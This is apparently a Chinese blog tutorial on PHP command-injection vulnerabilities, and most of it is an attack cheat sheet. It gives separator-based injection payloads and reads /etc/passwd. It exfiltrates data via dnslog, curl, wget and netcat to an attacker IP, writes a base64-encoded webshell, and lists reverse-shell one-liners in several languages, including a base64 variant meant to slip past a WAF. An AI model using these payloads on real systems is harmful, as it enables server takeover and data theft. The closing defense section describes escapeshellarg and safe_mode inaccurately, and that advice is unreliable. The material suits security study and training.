命令执行漏洞

漏洞描述

程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、 简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用进行调用时就会用到一些执行系统命令的函数,应用在调用这些函数的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

相关函数

在 PHP 中可以调用外部程序的常见函数:

system(args) 有回显

passthru(args) 有回显

exec(args) 回显最后一行,必须 echo 输出

shell_exec(args) 无回显,必须输出

反引号:``

popen(handle,mode) 无回显

proc_open('cmd','flag','flag') 无回显

$process = proc_open('dir',$des,$pipes);

echo stream_get_contents($pipes[1]);

漏洞危害

  • 继承 Web 服务器程序的权限,去执行系统命令
  • 继承 Web 服务器程序的权限,读写文件
  • 反弹 shell
  • 控制整个网站,甚至整个服务器

代码分析

从代码中得知,ipaddress 参数是外部可以控制的,然后再判断类型,使用 shell_exec 函数调用系统命令,所以存在命令执行漏洞

1、命令执行漏洞攻击

Linux系统支持的管道符

; 执行完前面的语句再执行后面的语句

ping 127.0.0.1;whoami

| 显示后面语句的执行结果

ping 127.0.0.1|whoami

|| 当前面的语句执行出错时,执行后面的语句,前面的语句只能为假

ping 1||whoami

& 如果前面的语句为假,则执行后面的语句,前面的语句可真可假

ping 127.0.0.1&whoami

&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真

ping 127.0.0.1&&whoami

Windows系统支持的管道符

| 直接执行后面的语句

ping 127.0.0.1|whoami

|| 如果前面的语句执行出错,执行后面的语句,前面的语句只能为假

ping 2||whoami

& 如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假

ping 127.0.0.1&whoami

&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真

ping 127.0.0.1&&whoami

`(反引号)

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将会首先执行 ls 并捕获其输出信息,然后再将它传递给 echo,并将 ls -a 的输出结果打印在屏幕上,这被称为命令替换

ping 3|echo `whoami`

$

这是命令替换的不同符号,当反引号被过滤或编码时,可以使用该符号

ping 4|echo $(whoami)

发现命令执行漏洞,如果是有回显的情况下,获取系统敏感信息

windows 操作系统

type c:\windows\win.ini

linux 操作系统

cat /etc/passwd

一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要利用各种外通信技巧

2、命令执行漏洞带外通信技巧

利用管道符号写入 SHELL

如果存在漏洞的 web 服务器页面有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php

带外通信技巧一般都是无回显的情况下使用

dnslog

dnslog 是一个显示解析记录的平台(网站已失效),在无回显的情况下,通过访问该网站,dnslog 会把你访问的子域名的头文件记录下来

使用反引号`whoami`得到用户名加上 . 子域名,再使用 icmp 协议访问 ping 域名

ping -c 4 127.0.0.1|ping `whoami`.3el05z.dnslog.cn

如果存在漏洞的情况下 getsubdomin 就会得到回显信息

burpsuite 测试无回显

测试的原理和 dnslog 一样(插件已下架),使用 burpsuite 的 burpcollaborator 复制

点击 copyt to clipboard 复制测试的子域名再拼接子域名

ping -c 4 127.0.0.1|ping `whoami`.xlmiw1sf16svvsbtwr5upgac137tvi.burpcollaborator.net

利用日志测试无回显

利用 HTTP 协议,访问 WEB 中间件时,iis 或者 apache 或者小型服务,都存在访问日志

在 kali 上开启 python 的小型服务器,再用 curl 协议访问远程服务器 ip 的 80 端口,再到 kali 的终端查看记录即可,python3命令:python -m http.server 80

使用 curl 命令 ping -c 4 ||curl http://192.168.152.137/?`whoami`

使用 wget 命令 ping -c 4 ||wget http://192.168.152.137/?`whoami`

netcat

如果目标系统存在有 netcat 一般在 ubuntu 系统都会存在,使用命令读取文件传递到远程服务器上

远程服务器监听命令 nc -lp 9999 >passwd

本地执行命令 nc 192.168.152.137 9999 </etc/passwd

会在远程服务器生成 passwd 文件

3、命令执行漏洞 nc 反弹 shell

在执行命令漏洞,一般的利用方式是执行反弹 shell,再进行其他的操作。执行反弹 shell 的命令有许多,反弹 shell 因为是从受害者,反向连接远程服务器,请求是从内部到外部,所以防火墙不会进行拦截。

远程服务器 nc 监听命令 nc -vlnp 8080

受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不同的环境,选择合适的命令

bash -i >& /dev/tcp/192.168.152.137/8080 0>&1

使用 bash shell 执行 ||/bin/bash -c 'bash -i >& /dev/tcp/192.168.152.137/8080 0>&1'

perl -e 'use Socket;$i="192.168.152.137";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname( "tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STD OUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co nnect(("192.168.152.137",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php -r '$sock=fsockopen("192.168.152.137",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby -rsocket -e'f=TCPSocket.open("192.168.152.137",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc -e /bin/sh 192.168.152.137 8080

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.152.137 8080 >/tmp/f

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.152.137/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

如果有 waf 进行连接,可以把语句进行 base64 加密,因为加密后的字符串没有触发拦截规则,再利用 shell 命令进行解码

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.152.137 8080 >/tmp/f base64 编码后为

cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xNTIuMTM3IDgwODAgPi90bXAvZg==

受害者执行 ||echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xNTIuMTM3IDgwODAgPi90bXAvZg=="|base64 -d|bash

远程服务器监听

4、命令执行漏洞防御

(1)不执行外部的应用程序或命令

尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、 eval 等命令执行功能的函数前,要确认参数内容。

(2)使用 escapeshellarg 函数处理相关参数

escapeshellarg 函数会将用户引起参数或命令结束的字符进行转义,如单引号 “ ’ ” 会被转义为 “ \’ ” ,双引号 “ " ” 会被转义为 “ \" ” ,分号 “ ; ” 会被转义为 “ \; ” , 这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

(3)使用 safe_mode_exec_dir 执行可执行的文件路径

将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录, 并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir 指定的目录中才会允许执行,否则执行将失败。

posted @ 2024-03-21 14:19  lxl3344  阅读(13)  评论(0编辑  收藏  举报